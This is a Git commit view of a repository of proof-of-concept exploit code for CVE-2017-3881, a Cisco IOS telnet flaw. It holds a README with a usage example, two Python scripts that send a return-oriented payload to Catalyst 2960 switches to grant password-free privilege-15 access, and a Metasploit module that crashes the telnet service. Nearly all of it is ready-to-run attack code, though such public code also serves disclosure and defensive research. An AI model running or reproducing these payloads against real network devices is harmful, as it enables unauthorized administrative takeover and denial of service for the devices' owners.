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artkond committed Apr 10, 2017
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42 changes: 42 additions & 0 deletions README.md
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CVE-2017-3881 Cisco IOS remote code execution
===================


This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - <https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp>


Description
-------------

RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent. Two firmware versions are supported:

- 12.2(55)SE1 C2960-LANBASEK9-M

- 12.2(55)SE11 C2960-LANBASEK9-M

Denial of service code is available as a metasploit ruby module. This should work for most of the switches mentioned in the Cisco advisory (confirmation needed).

Usage example
-------------

```
$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set
[+] Connection OK
[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f'
[+] Sending cluster option
[+] Setting credless privilege 15 authentication
[+] All done
$ telnet 192.168.88.10
Trying 192.168.88.10...
Connected to 192.168.88.10.
Escape character is '^]'.
catalyst1#show priv
Current privilege level is 15
```


Author
------

Artem Kondratenko https://twitter.com/artkond
72 changes: 72 additions & 0 deletions c2960-lanbasek9-m-12.2.55.se1.py
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#!/usr/bin/python
# Author:
# Artem Kondratenko (@artkond)

import socket
import sys
from time import sleep

set_credless = True

if len(sys.argv) < 3:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()
elif sys.argv[2] == '--unset':
set_credless = False
elif sys.argv[2] == '--set':
pass
else:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()


s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))

print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'

print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'



payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x2c\x8b\x74' # +8 address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
payload += '\x00\x00\x99\x80' # +12 set address of func that rets 1
else:
payload += '\x00\x04\xea\x58' # unset
payload += 'BBBB' # +16(+0) r1 points here at second gadget
payload += '\x00\xdf\xfb\xe8' # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC' # +8
payload += 'DDDD' # +12
payload += 'EEEE' # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x78\x8c' # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
payload += '\x02\x2c\x8b\x60' # +8 r1+8 = 0x022c8b60
payload += 'FFFF' # +12
payload += 'GGGG' # +16(+0) r1 points here at fourth gadget
payload += '\x00\x6b\xa1\x28' # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
payload += '\x00\x12\x52\x1c' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr;
else:
payload += '\x00\x04\xe6\xf0' # unset
payload += 'HHHH' # +12
payload += 'IIII' # +16(+0) r1 points here at fifth gadget
payload += '\x01\x48\xe5\x60' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ' # +8 r1 points here at third gadget
payload += 'KKKK' # +12
payload += 'LLLL' # +16
payload += '\x01\x13\x31\xa8' # +20 original execution flow return addr
payload += ':15:' + '\xff\xf0'

s.send(payload)

print '[+] All done'

s.close()
72 changes: 72 additions & 0 deletions c2960-lanbasek9-m-12.2.55.se11.py
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#!/usr/bin/python
# Author:
# Artem Kondratenko (@artkond)

import socket
import sys
from time import sleep

set_credless = True

if len(sys.argv) < 3:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()
elif sys.argv[2] == '--unset':
set_credless = False
elif sys.argv[2] == '--set':
pass
else:
print sys.argv[0] + ' [host] --set/--unset'
sys.exit()


s = socket.socket( socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 23))

print '[+] Connection OK'
print '[+] Recieved bytes from telnet service:', repr(s.recv(1024))
#sleep(0.5)
print '[+] Sending cluster option'

print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication'



payload = '\xff\xfa\x24\x00'
payload += '\x03CISCO_KITS\x012:'
payload += 'A' * 116
payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
#next bytes are shown as offsets from r1
payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34
if set_credless is True:
payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1
else:
payload += '\x00\x04\xeA\xe0' # unset
payload += 'BBBB' # +16(+0) r1 points here at second gadget
payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr;
payload += 'CCCC' # +8
payload += 'DDDD' # +12
payload += 'EEEE' # +16(+0) r1 points here at third gadget
payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr;
payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8
payload += 'FFFF' # +12
payload += 'GGGG' # +16(+0) r1 points here at fourth gadget
payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr;
if set_credless:
payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr;
else:
payload += '\x00\x04\xe7\x78' # unset
payload += 'HHHH' # +12
payload += 'IIII' # +16(+0) r1 points here at fifth gadget
payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr;
payload += 'JJJJ' # +8 r1 points here at third gadget
payload += 'KKKK' # +12
payload += 'LLLL' # +16
payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr
payload += ':15:' + '\xff\xf0'

s.send(payload)

print '[+] All done'

s.close()
54 changes: 54 additions & 0 deletions ios_telnet_rocem.rb
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Dos

def initialize(info = {})
super(update_info(info,
'Name' => 'Cisco IOS Telnet Denial of Service',
'Description' => %q{
This module triggers a Denial of Service condition in the Cisco IOS
telnet service affecting multiple Cisco switches (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp). Tested against Cisco Catalyst 2960.
},
'Author' => [ 'Artem Kondratenko' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'BID', '96960'],
[ 'CVE', 'CVE-2017-3881'],
],
'DisclosureDate' => 'March 17 2017'))

register_options(
[
Opt::RPORT(23),
], self.class)

end

def run

connect
print_status("Connected to telnet service")
print_status("Got initial packet from telnet service: " + sock.gets.inspect)
print_status("Sending Telnet DoS packet")
sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + 'A' * 1000 + ":1:\xff\xf0")
disconnect

rescue ::Rex::ConnectionRefused
print_status("Unable to connect to #{rhost}:#{rport}.")
rescue ::Errno::ECONNRESET
print_status("DoS packet successful. #{rhost} not responding.")
end

end

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